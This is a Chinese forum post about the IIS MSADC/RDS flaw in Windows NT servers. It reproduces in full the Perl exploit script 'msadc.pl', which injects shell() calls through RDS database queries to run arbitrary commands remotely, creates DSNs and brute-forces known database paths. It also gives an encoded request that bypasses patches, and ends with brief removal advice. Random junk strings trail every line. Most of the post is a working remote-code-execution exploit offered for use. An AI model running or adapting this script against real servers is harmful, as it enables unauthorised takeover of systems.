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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) };jN\x?&q  
?3zc=J"t  
涉及程序: \VyZ  
Microsoft NT server "8^ Ch{G-  
n+q!l&&  
描述: Zxs|%bQ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !()$8  
^^as'Dk  
详细: }Nm#q@o$P  
如果你没有时间读详细内容的话,就删除: 0C irfcs}Z  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6vNrBB  
有关的安全问题就没有了。 %Iv,@}kvT+  
KZ ;k)O.Ov  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,J^b0@S  
+&( Mgbna  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 qr4pR-Gdr  
关于利用ODBC远程漏洞的描述,请参看: ^!ZC?h!rG  
YS@ypzc/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >TnTnFWX  
Be=u&T:~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 X"e5 Y!:M-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp VE {3}S  
EGzzHIZ`!  
这里不再论述。 ( b~T]3Es  
6qoyiT%P&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [] `&vWZ  
_'>oXQJ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset h WtVWVNL  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2ZMb<b4H  
e .2ib?8  
6dN7_v)  
#将下面这段保存为txt文件,然后: "perl -x 文件名" T| V:$D'  
'\ey<}?5V  
#!perl A1D^a,  
# lpeEpI/gM  
# MSADC/RDS 'usage' (aka exploit) script }v*G_}^  
# ,t9^j3Ixg  
# by rain.forest.puppy y 4I6  
# :'3XAntZA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me MVTMwwO\[  
# beta test and find errors! w?wG(+X7  
Vp*KfS]  
use Socket; use Getopt::Std; F6OpN "UM'  
getopts("e:vd:h:XR", \%args); m)v"3ib  
`V]5sE]G  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; bE#,=OI$  
zHL@i0>^  
if (!defined $args{h} && !defined $args{R}) { ICs\ z  
print qq~ PQnF  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !^=*Jq>  
-h <host> = host you want to scan (ip or domain) ,dov<U[ia  
-d <seconds> = delay between calls, default 1 second vCxD~+zf  
-X = dump Index Server path table, if available 1[qLA!+  
-v = verbose UAFwi%@!-q  
-e = external dictionary file for step 5 x:>wUhzZ  
O[s{ Gk'>  
Or a -R will resume a command session ;"fDUY|  
eg?<mKrZ  
~; exit;} !QHFg-=7  
9XyYHi  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; FsV'Cu@!U  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} WD2]&g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L[H5NUG!  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); KJ=6n%6  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^xHTWg%9  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } D@|W<i-  
jR2 2t`4  
if (!defined $args{R}){ $ret = &has_msadc; %Bn?n{ /  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} V|/NB  
zb}9%.U  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" :xD=`ib  
. "cmd /c "; *-q"3 D`  
$in=<STDIN>; chomp $in; Nq` C.&  
$command="cmd /c " . $in ; ^m"u3b4  
8lb%eb]U  
if (defined $args{R}) {&load; exit;} AW_(T\P:u  
s3O} 6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; sz {e''q  
&try_btcustmr; H]p!\H  
B}:(za&  
print "\nStep 2: Trying to make our own DSN..."; O QT;zqup  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Fpa ;^F  
#u"k~La  
print "\nStep 3: Trying known DSNs..."; j>x-"9N  
&known_dsn; a /#PLP  
S<u-n8bv  
print "\nStep 4: Trying known .mdbs..."; =p?WBZT|:  
&known_mdb; n\5RAIg  
r77PQQD T  
if (defined $args{e}){ W$rH"_@m  
print "\nStep 5: Trying dictionary of DSN names..."; < hO /jB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T/xp?Vq6/  
2 :mn</z  
print "Sorry Charley...maybe next time?\n"; /yF QeE  
exit; 2Sp=rI  
GXjfQ~<]  
############################################################################## C;`XlQG `  
Bj}^\Pc;}  
sub sendraw { # ripped and modded from whisker {>,V\J0p  
sleep($delay); # it's a DoS on the server! At least on mine... + 33@?fl.  
my ($pstr)=@_; T G{k0cdOT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t{FlB!jv  
die("Socket problems\n"); 92d6U2T4&  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4Hn`'+b  
select(S); $|=1; )\be2^p  
print $pstr; my @in=<S>; ks97k8B  
select(STDOUT); close(S); 8 <7GdCME  
return @in; YoLx>8  
} else { die("Can't connect...\n"); }} ,0~9dS   
:l&V]}:7*  
############################################################################## <Ib[82PU  
vab@-=%k  
sub make_header { # make the HTTP request tBT<EV{ G  
my $msadc=<<EOT C,NxE5?h  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 d&u]WVU  
User-Agent: ACTIVEDATA o{EC&-  
Host: $ip iMFgmM|  
Content-Length: $clen E%v?t1>/  
Connection: Keep-Alive Wg0g/  
Ns0cgCrhX  
ADCClientVersion:01.06 )+"'oY$]}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 |t) }VM%  
eKz?"g/j  
--!ADM!ROX!YOUR!WORLD! iNWo"=J  
Content-Type: application/x-varg HJ[/|NZU$  
Content-Length: $reqlen ~7t$MF.  
>sjhA|gXk  
EOT /K{9OT@>  
; $msadc=~s/\n/\r\n/g; !F4@KAv  
return $msadc;} 6"t;gSt 4  
VY"9?2?/  
############################################################################## Ra/Ukv_v  
7aYn0_NKp  
sub make_req { # make the RDS request MXiQ1 x  
my ($switch, $p1, $p2)=@_; U_$qi  
my $req=""; my $t1, $t2, $query, $dsn; @~"an qT`  
)d-.M  
if ($switch==1){ # this is the btcustmr.mdb query :%AL\ n  
$query="Select * from Customers where City=" . make_shell(); sf|ke9-3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ZP$-uaa-  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #gaQaUjR  
G0{H5_h  
elsif ($switch==2){ # this is general make table query npyAJp  
$query="create table AZZ (B int, C varchar(10))"; nG, U>)  
$dsn="$p1";} ls`,EFF  
+|{RE.DL  
elsif ($switch==3){ # this is general exploit table query f%)zg(YlO  
$query="select * from AZZ where C=" . make_shell(); $GQ-(/  
$dsn="$p1";} KdUnD4d  
za9)Q=6FD  
elsif ($switch==4){ # attempt to hork file info from index server )VK }m9Ae  
$query="select path from scope()"; |?,[@z _,  
$dsn="Provider=MSIDXS;";} 7`H 1f]d  
X_G| hx  
elsif ($switch==5){ # bad query j:&4-K};Z`  
$query="select"; |*X*n*oI  
$dsn="$p1";} K+)%KP  
+ "}=d3E6  
$t1= make_unicode($query); q4$+H{xB  
$t2= make_unicode($dsn); jWO/ xX  
$req = "\x02\x00\x03\x00"; GK}'R=   
$req.= "\x08\x00" . pack ("S1", length($t1)); 1w0OKaF5  
$req.= "\x00\x00" . $t1 ; u!U"N*Y"  
$req.= "\x08\x00" . pack ("S1", length($t2)); KkMay  
$req.= "\x00\x00" . $t2 ; CBKkBuKuk  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; (ihP `k-.  
return $req;} H:JLAK  
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############################################################################## fiI $T:g.  
w[-Fm+A>  
sub make_shell { # this makes the shell() statement e{9jn>\,a  
return "'|shell(\"$command\")|'";} EQIo5  
{"H2 :-t<  
############################################################################## 1?Aga,~k:a  
o}'bv  
sub make_unicode { # quick little function to convert to unicode \cJ-Dd  
my ($in)=@_; my $out; ]PP:oriWl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W Qzj[  
return $out;} lhYn5d)DV  
" ;w}3+R  
############################################################################## #W2[  
|nk3^;Yf  
sub rdo_success { # checks for RDO return success (this is kludge) l\!-2 T6Y  
my (@in) = @_; my $base=content_start(@in); 5ZPzPUa8~  
if($in[$base]=~/multipart\/mixed/){ Q2%QLM:.,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ^t*x*m8  
return 0;} !lmWb-v%36  
qxJQPz  
############################################################################## 'QH1=$Su  
b2&V  
sub make_dsn { # this makes a DSN for us ;C/bJEgdd  
my @drives=("c","d","e","f"); +~U=C9[gj  
print "\nMaking DSN: "; uH^ PQ  
foreach $drive (@drives) { TfZ6F8|B  
print "$drive: "; MZSxQ8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . JH]K/sC>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |m?vVLq  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2~p[7?sp'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; q 'a  
return 0 if $2 eq "404"; # not found/doesn't exist "?GebA  
if($2 eq "200") { ZDYJhJ.  
foreach $line (@results) { F{\gc|!i  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0ZPV' `KGp  
} return 0;} 0i8h I6d  
oXt,e   
############################################################################## >Dg#9  
=`C4qC _  
sub verify_exists { DV]7.Bm  
my ($page)=@_; A?"h@-~2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); UU}7U]9u  
return $results[0];} E}Xka1 Bn  
N(3R|Ii  
############################################################################## =vh8T\  
=FBpo2^QB;  
sub try_btcustmr { MY nH2w]  
my @drives=("c","d","e","f"); @gBE{)Fj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); q1hMmMi  
z&3]%t `C  
foreach $dir (@dirs) { 1(GHCxA8G  
print "$dir -> "; # fun status so you can see progress A~{f/%8D  
foreach $drive (@drives) { AzpV4(:an.  
print "$drive: "; # ditto snp v z1iS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; d2ENm%q*PX  
$reqlenlen=length( "$reqlen" ); [{<dbW\ 9  
$clen= 206 + $reqlenlen + $reqlen; "n\%_'R\hH  
E)t  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4R) |->"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 6j8 <Q 2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} jUjr6b"  
!m{2WW-  
############################################################################## 9-bG<`v\E  
H.O(*Q=  
sub odbc_error { , Ut Hc]  
my (@in)=@_; my $base; [ij,RE7,T  
my $base = content_start(@in); r<L#q)]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 22KI]$D#f  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jV7&Y.$zF]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gw3NS8 A+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Yi rC*  
return $in[$base+4].$in[$base+5].$in[$base+6];} eE/%6g  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +ydm,aKk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WA.\*Nqze  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} kJ: 2;t=  
]Bb7(JX  
############################################################################## mKg@W;0ML  
ke.7Zp2.R  
sub verbose { GZ0aOpUWVq  
my ($in)=@_; "gNK><  
return if !$verbose; < 3 j~=-  
print STDOUT "\n$in\n";} hK}bj  
]s|lxqP  
############################################################################## G\Q9IcJ0dY  
Ha ZFxh-(  
sub save { bEr.nF  
my ($p1, $p2, $p3, $p4)=@_; {.#zHL ;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ZZ A.a  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; i@<~"~>]7  
close OUT;} /?zW<QUI  
,bSVVT-b  
############################################################################## O5 7jz= r  
J/4y|8T/y  
sub load { a|N0(C  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u5gZxO1J5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2A$0CUMb  
@p=<IN>; close(IN); ~2N-k1'-'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2%]hYr;  
$target= inet_aton($ip) || die("inet_aton problems"); coB6 rW  
print "Resuming to $ip ..."; >7>7/7=O  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %9c|%#3  
if($p[1]==1) { }?O[N}>,m  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .9\Cy4_qSd  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Jc~E"x  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ;x>;jS.t  
if (rdo_success(@results)){print "Success!\n";} TJ2/?p\x  
else { print "failed\n"; verbose(odbc_error(@results));}} )Ul&1UYA  
elsif ($p[1]==3){ uaQ&&5%%J  
if(run_query("$p[3]")){ ,eELRzjl  
print "Success!\n";} else { print "failed\n"; }} :2q ?>\  
elsif ($p[1]==4){ p\ txlT  
if(run_query($drvst . "$p[3]")){ AZ8UXq  
print "Success!\n"; } else { print "failed\n"; }} pa] TeH  
exit;} -v*x V;[  
\FI^ Vk  
############################################################################## |z7dRDU}]  
c=t*I0-OVS  
sub create_table { Z oTNm  
my ($in)=@_; urxqek  
$reqlen=length( make_req(2,$in,"") ) - 28; *Pb.f  
$reqlenlen=length( "$reqlen" ); tq E>Zx=X  
$clen= 206 + $reqlenlen + $reqlen; Q}uG/HI  
my @results=sendraw(make_header() . make_req(2,$in,"")); O`[]xs  
return 1 if rdo_success(@results); UIw?;:Y  
my $temp= odbc_error(@results); verbose($temp); s 4IKSX  
return 1 if $temp=~/Table 'AZZ' already exists/; gO{W#%  
return 0;} "X?LAo  
Pw #2<>  
############################################################################## M-91 JOt~  
M]s[ "0O  
sub known_dsn { ],V kp  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ag/u8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <<BQYU)Ig  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", lIy/;hIc  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cJ4S!  
` t\z   
foreach $dSn (@dsns) { pFH?/D/q  
print "."; I;iR(Hf)?q  
next if (!is_access("DSN=$dSn")); lWl-@ *'  
if(create_table("DSN=$dSn")){ ?HxS)Pqq  
print "$dSn successful\n"; [xS5z1;  
if(run_query("DSN=$dSn")){ 5k`e^ARf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s#Q _Gu  
print "Something's borked. Use verbose next time\n";}}} print "\n";} LsotgQ8   
F0: &>'}  
############################################################################## bG1 ofsU  
%~(~W>^A  
sub is_access { n1`T#%e  
my ($in)=@_; ks^|>  
$reqlen=length( make_req(5,$in,"") ) - 28; 0- Yeu5A  
$reqlenlen=length( "$reqlen" ); .??rqaZ=  
$clen= 206 + $reqlenlen + $reqlen; 3V!x?H$  
my @results=sendraw(make_header() . make_req(5,$in,"")); (jneEo=vr  
my $temp= odbc_error(@results); M7pvxChA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); s_` V*`n&  
return 0;} QW:Z[?39^  
0JOju$Bl,  
############################################################################## B#H2RTc  
$:HLRl{2E  
sub run_query { W)  
my ($in)=@_; *%f3rvt7@)  
$reqlen=length( make_req(3,$in,"") ) - 28; H.;yLL=  
$reqlenlen=length( "$reqlen" ); c( 8W8R  
$clen= 206 + $reqlenlen + $reqlen; Kk56/(_S  
my @results=sendraw(make_header() . make_req(3,$in,"")); kBUufV~  
return 1 if rdo_success(@results); `i{4cT8:  
my $temp= odbc_error(@results); verbose($temp); <W9) Bq4  
return 0;} 6g5]=Q@U:  
GfQ^@Tl  
############################################################################## !%)L&W_  
n%8#?GC`  
sub known_mdb { V'$oTZ`  
my @drives=("c","d","e","f","g"); m4\g o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ma`w\8 a  
my $dir, $drive, $mdb; K;kLQ2)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; }W)Mwu'W  
_/8y1) I  
# this is sparse, because I don't know of many (T`q++  
my @sysmdbs=( "\\catroot\\icatalog.mdb", y#GCtkhi  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j!"iYtgV  
"\\system32\\certmdb.mdb", \j/}rzo]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )uu wwz  
7j{Te)"  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", K-ju,4A  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,$SkaTBe  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [j1^$n 8V  
"\\cfusion\\cfapps\\security\\realm_.mdb", mKMGdN~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |4LQ\'N&  
"\\cfusion\\database\\cfexamples.mdb", Xd5! Ti}  
"\\cfusion\\database\\cfsnippets.mdb", &?fvt  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !c v6 #:  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =NI.d>kvC  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E{?L= ^cU  
"\\cfusion\\database\\smpolicy.mdb", gx&\Kw6HM  
"\\cfusion\\database\cypress.mdb", N_*u5mfQX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", TosPk(o(  
"\\website\\cgi-win\\dbsample.mdb", tgS+" ugl  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", _;%.1H{N  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" R\i]O  
); #these are just fa/P%9db  
foreach $drive (@drives) { 4E,hcu  
foreach $dir (@dirs){ RbyF#[}  
foreach $mdb (@sysmdbs) { |^\ Hv5  
print "."; ``/y=k/au  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ hu`L v  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; CD$u=E ]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /7S-|%1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; oa?!50d  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x*k65WO\  
Pi^ECSzQu[  
foreach $drive (@drives) { -+`az)lrp  
foreach $mdb (@mdbs) { 9 #.<E5:  
print "."; |A2W8b {]  
if(create_table($drv . $drive . $dir . $mdb)){ &P{o{  
print "\n" . $drive . $dir . $mdb . " successful\n"; I}I}K~se*  
if(run_query($drv . $drive . $dir . $mdb)){ @)S sKk|  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; zT2F&y q  
} else { print "Something's borked. Use verbose next time\n"; }}}} P((S2"D<4  
} [+Yl;3 &]  
(bM)Nd  
############################################################################## IH*U!_ `  
y_;]=hEL  
sub hork_idx { 5>0\e_V  
print "\nAttempting to dump Index Server tables...\n"; 0]/,m4a#n  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5? S{W  
$reqlen=length( make_req(4,"","") ) - 28; :4Id7Ce  
$reqlenlen=length( "$reqlen" ); _wIBm2UO  
$clen= 206 + $reqlenlen + $reqlen; s,{RP0|  
my @results=sendraw2(make_header() . make_req(4,"","")); Y8{T.\%\+  
if (rdo_success(@results)){ >}xAg7\^  
my $max=@results; my $c; my %d; w50.gr7  
for($c=19; $c<$max; $c++){ OYQXi  
$results[$c]=~s/\x00//g; ?*(r1grHl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~m009  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f]{1ZU%4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /7!_un9  
$d{"$1$2"}="";} >;T$#LZ  
foreach $c (keys %d){ print "$c\n"; } 1oXz[V  
} else {print "Index server doesn't seem to be installed.\n"; }} YqK+F=0  
-PIA;#Gs  
############################################################################## 60.[t9pk6  
d;*OO xQV  
sub dsn_dict { jb#1&L 14  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 5#N"WHz!  
while(<IN>){ w%%6[<3%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `!5tH?bX  
next if (!is_access("DSN=$dSn")); $cp16  
if(create_table("DSN=$dSn")){ UeutFNp  
print "$dSn successful\n"; e3oYy#QNk  
if(run_query("DSN=$dSn")){ [esX{6,i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uyS^W'fF  
print "Something's borked. Use verbose next time\n";}}} {7j6$.7J$&  
print "\n"; close(IN);} 3N)Ycf8  
/*mFP.en  
############################################################################## @ U7#, G  
BXKlO(7  
sub sendraw2 { # ripped and modded from whisker 8iII) +  
sleep($delay); # it's a DoS on the server! At least on mine... 5yO#N2jY\  
my ($pstr)=@_; +aXMHT"U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wz|Q%.%?[  
die("Socket problems\n"); =DQdPA\K  
if(connect(S,pack "SnA4x8",2,80,$target)){ ly[\mGr  
print "Connected. Getting data"; mfp`Iy"}+  
open(OUT,">raw.out"); my @in; p4<M|1Z&  
select(S); $|=1; print $pstr; n9mM5H47  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ImT+8p a  
close(OUT); select(STDOUT); close(S); return @in; \_-kOS  
} else { die("Can't connect...\n"); }} troy^H  
l>[QrRXiSN  
############################################################################## ouu-wQ|(mM  
-=v/p*v0o  
sub content_start { # this will take in the server headers g9 grfN  
my (@in)=@_; my $c; "'&>g4F`o  
for ($c=1;$c<500;$c++) { d=c1WK  
if($in[$c] =~/^\x0d\x0a/){ P_^ |KEz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /S2p``E+  
else { return $c+1; }}} ~Q{[fy=  
return -1;} # it should never get here actually k=d%.kg  
6@ (k8<3  
############################################################################## nEZ-h7lzl(  
q:D0$YY0  
sub funky { o q'J*6r  
my (@in)=@_; my $error=odbc_error(@in); )U/@J+{{  
if($error=~/ADO could not find the specified provider/){ fjz2m   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~8n~4  
exit;} eaZ)1od  
if($error=~/A Handler is required/){ ] _]6&PZXk  
print "\nServer has custom handler filters (they most likely are patched)\n"; -h^} jP8  
exit;} =4w^)'/  
if($error=~/specified Handler has denied Access/){ CoKj'jA  
print "\nServer has custom handler filters (they most likely are patched)\n"; B[U.CAUn  
exit;}} ? A^3.`  
{XVf|zM,  
############################################################################## ;)bF#@Q  
GmEJ,%A  
sub has_msadc { k:HSB</}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ys"mP* wD  
my $base=content_start(@results); \8@[bpI@g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ;?Y` e  
return 0;}  c+G:@%  
l5N\> q  
######################## A=YEY n  
A$9_aqbj  
41+E UMc  
解决方案: fSQ3 :o  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll b`={s  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |Bf:pG!  
3<.j`JB@&  
拿出来充数 哈哈
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